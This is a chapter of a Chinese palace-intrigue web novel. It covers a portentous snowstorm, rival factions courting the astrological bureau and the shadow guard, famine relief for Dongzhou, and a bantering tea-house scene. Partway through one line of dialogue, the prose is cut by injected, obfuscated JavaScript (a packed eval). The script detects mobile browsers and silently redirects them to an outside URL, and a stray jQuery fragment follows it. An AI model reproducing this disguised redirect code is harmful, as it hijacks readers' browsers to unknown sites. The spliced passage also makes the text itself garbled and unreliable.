51.不寻常的雪
作品:《月影随行》 今年的冬天很特别,这场雪似乎已经忘记自己还在人间。
皇上宣傅怀池进宫,让万象阁观天象,最后得出的结论就是这么大的雪不是好的兆头,皇上决定在五天后到大恩寺祈福,让他现在就开始准备。
东宫内
贵妃站在门口,望着外面白茫茫一片,心里道不出什么滋味,“太子,母妃听说万象阁预测这大雪不是什么好兆头,你最近最好安分点,别给我惹事”
“哼……”,太子最看不惯万象阁,“又是这个万象阁,人人都说瑞雪兆丰年,怎么到他这里就不好了?父皇脑子也是坏了,听信这些东西,天天吃那个什么丹药,早晚有一天会栽在这上面”
贵妃大步移到太子身边,狠狠拍他一掌,“你给我闭嘴,小心隔墙有耳”
太子不服气,一口闷了酒杯里的酒,喉咙火辣辣。
贵妃接着说,“让你手底下那些人手脚干净一些,现在那个傅怀池最近与皇后和平王走的近,难免他们会在背地里做什么动作”
太子觉得讽刺,“这万象阁一向不站两边,这雷决一死,他倒迫不及待的站到平王那边,雷决死得蹊跷,我看啊,雷决指不定是他这位好义子杀的呢”
“谁知呢!如今我们的势力反倒因为傅怀池的倒戈而弱了些,你说,寒彻到底什么意思?傅怀池上次那样对付他新妇,他们在陛下面前闹得如此不愉快,理应是记恨才是,可如今,傅怀池明显已经站平王,而他却一点动作没有,就连我投出去的橄榄枝都没接,真是让人琢磨不透啊,如果拉拢不到玄影司,那咱们岂不是……”,文贵妃不敢往下想。
“只要他继续保持两边不站的态度,我就不会拿他怎么样,如果他敢站在对面,那就别怪我不客气”,太子一杯两杯酒下肚,眼神已经开始迷离。
而皇后那边因为得到了万象阁明显的支持,此时的她已然是以为自己胜利了,傅怀池嘴甜,每次哄得皇后嘴角都没下来过,现如今她胃口更大,既想得到万象阁,又想拉拢玄影司。
“母后既得到万象阁,就注定没法再得到玄影司”
“为何?他现在还看不清局势?你去让寒彻退一步,为了他日后的事业,他也该知道怎么选”
平王,“……”
多说无益,现在的平王对傅怀池总有一种说不出的厌恶,皇后对他越欣赏,他就越反感,没待多久,平王便起身离开。
皇后身边的嬷嬷瞧出平王脸色,“平王似乎有些心情不好”
“这孩子本宫自小养到大,他什么脾气本宫最清楚,之前工部尚书李达克的事,寒彻卖了他面子,如今万象阁又站在我们这边,他自是拉不下脸去找寒彻的,但是想成大事就不能在乎这种小事,如果他还是扶不起,那本宫只好换人了”
“皇后娘娘,还是再给平王一些时日吧,他会想通的,娘娘为了这个位置筹谋这么些年,如今眼看形势大好,他不会看不懂”
“最好如此”
平王出了凤仪宫不远,碰巧遇到准备面见皇后的姜清苒,不用多说,此时在宫里见到她,平王已经知晓,皇后想必是想换个人撮合了,傅怀池在她眼里是个识时务的最佳人选。
两人简单招呼了句便各自背身而去。
雪小了些,花园里姜清苒一脸不乐意,她喜欢寒彻,傅怀池怎会不知。
傅怀池很聪明,以退为进,“县主不必生气,皇后娘娘所做的一切都是为了你我好,如果县主无意,在下自会到皇后娘娘那说清楚,县主不必忧心”
“你会这么做?”
“会”
“条件是什么?”,姜清苒知道,如今傅怀池站平王,如果他们联姻,平王的势力绝对在太子之上,他不可能会忤逆皇后的用意。
“没有条件,感情的事情如果不能你情我愿,我倒宁愿一辈子不娶,在我这,和皇后娘娘说清楚倒不是什么难事,但是县主你…你的事可就难办了,寒主司如今和夫人恩爱有加,你想再插一脚恐怕难上加难,县主难道还想用以前的老办法去让他们和离吗?”
“你……”
“县主不必担心,我倒有一法,县主不知想不想听”
“不想……你和寒彻不对付大家都知道,你想利用我对付他,不可能”,姜清苒总觉得傅怀池没那么好说话。
“县主误会了,我如今背靠皇后和平王,一个小小的玄影司主司我早不放在眼里,咱们做不成夫妻,朋友还是可以做的,人生在世多一个朋友多一条出路,没什么不好”
姜清苒觉得他说挺有道理,但是现在想让她放下戒心不可能,“多谢傅掌事好意,谢过,告辞”
姜清苒好不容易进圣都,可不想把时间都浪费在这里,既然傅怀池都说了会和皇后说清楚,那她也没必要再留在宫里。
转眼间,到了皇上去大恩寺祈福的日子,天空似乎知晓皇上今日要去祈福,非常有眼力,大雪终于停了,天上太阳高悬,祈福很顺利,皇上心情格外好,本以为一切顺利,可第二日,朝堂上,就有人来报,东州因为暴雪,死了不少人,原本官仓储存的粮食够百姓挨过那几个月的寒冬,可谁知,粮食通通发霉不能食用。
如今民不聊生,东州知府不知如何处理,这才上报朝廷,求朝廷出手相救。
太子这时开口,“官仓的粮食怎么会好端端发霉呢?这事得查清楚”
皇上忧心忡忡,平王提议,“父皇,现在当务之急是东州百姓的命,如今国库富裕,不如从国库里面调些粮食,再拨一些银两,解燃眉之急”
皇上并没有接纳他的提议,而是询问了寒炎的想法。
“从国库调粮不是不可以,但……”,寒炎整理了措辞,“从国库调粮再运往东州,路上如果再遇到恶劣天气,等粮食和银两运到东州,估计已经晚了,不如皇上下令,先从东州周边没有受灾的州县调取粮食和银两先支援东州,而从国库调取出来的粮食和银两再分给东州周围的州县,这样既能缩短时间,又不用担心路上的天气”
皇上揉了揉太阳穴,“就按寒爱卿说的去办吧,这次赈灾,就由太子去办,粮食和赈灾银两一定要用之于民,切莫不可出什么纰漏”
太子跪地,“儿臣,遵旨”
“至于粮食发霉,寒爱卿,你再挑合适的人去查”
“臣
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17022891|190986||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,遵旨”
平王虽有不服气,但皇上金口玉言,没有回转的余地。
一切似乎又回到正轨,这些日子没在下雪,祁令月几人在碧玉轩碰面,几人相对无言,庄清清最先打破僵局。
“哎呀,东州受灾很值得同情,但皇上不是已经派太子负责此事了吗,太子耶,皇上能派太子处理此事,就足以证明东州受灾皇上非常在意,所以你们不用担心啦”
祁令月握在手里的茶杯已经凉了,“就怕,那些赈灾的钱到不了百姓的手里”
“不会吧?这个时候太子应该不敢轻举妄动,这个时候还敢动赈灾银两,那就是不想再要这个太子之位了”
寒彻从祁令月手里拿过茶杯,重新给她换了一杯热茶,庄清清也递过茶杯,以为寒彻会给她也倒一杯,没想到寒彻直接把茶壶放下,说了句,“希望太子当个人吧”
庄清清在一旁张开嘴巴无声怒骂。
张子宸一脸笑意拿起茶壶给庄清清倒来一杯热茶。
她这才笑嘻嘻道,“还是我家子宸哥哥最好”
“平王曾经找过我,希望我不要再跟傅怀池斗,说如今万象阁已经站在他那边了”
张子宸接话,“这傅怀池果然不一般,雷决在位时,绝对不会参与党争,更不会允许傅怀池参与进来,他傅怀池倒好,一上任就立马站队”
祁令月点头,“这么看来,我都怀疑他早就想战队了,说不定私底下瞒着雷决,就已经偷偷的站在皇后那边了,你说他知不知道自己是……”
“咳……咳咳”,寒彻被茶呛到。
祁令月赶紧轻拍他背部,寒彻看了一眼祁令月,她自然明白差点问出口,傅怀池知不知道自己是皇后的亲儿子。
“知道什么?”,庄清清反问。
张子宸已经知道傅怀池的真实身份,但庄清清还不知。
“没什么,对了,以后你们过来碧玉轩,都不用再花钱,我请”
“厉害了,我的祁东家”,庄清清立刻打趣道,“这天气越来越好了,初春,咱们找个好地,好好玩上一玩,今年这一年太惊心动魄了,尤其张哥,你离开过圣都吗?”
“当然”
“去过哪里?”,庄清清不打算放过他,这次一定要把他拉出去。
“我干嘛要告诉你,你干嘛不问他们两个?”,张子宸指着正在看热闹的寒彻和祁令月。
“你搞错了吧!人家小两口,互相关心,需要我问啊”
“那我也不需要你问”,张子宸继续喝茶,他一直以来都是以金相的身份出现在寒彻面前,如今恢复原来的身份反倒不自在了,怕自己说多了引起庄清清的怀疑。
“我就问,我就问,你是不是有心上人了?”,庄清清今日非要打破砂锅问到底了。
“你胡说八道什么?”,张子宸彻底慌了。
“我胡说?那你说,你是不是喜欢月月?”
“兄弟妻,不可欺,庄清清,我和你拼了”
两人扭打在一起,好在庄清清没有听清他说的‘兄弟妻’。
寒彻和祁令月两人一杯一口茶,喝得是真心欢乐。

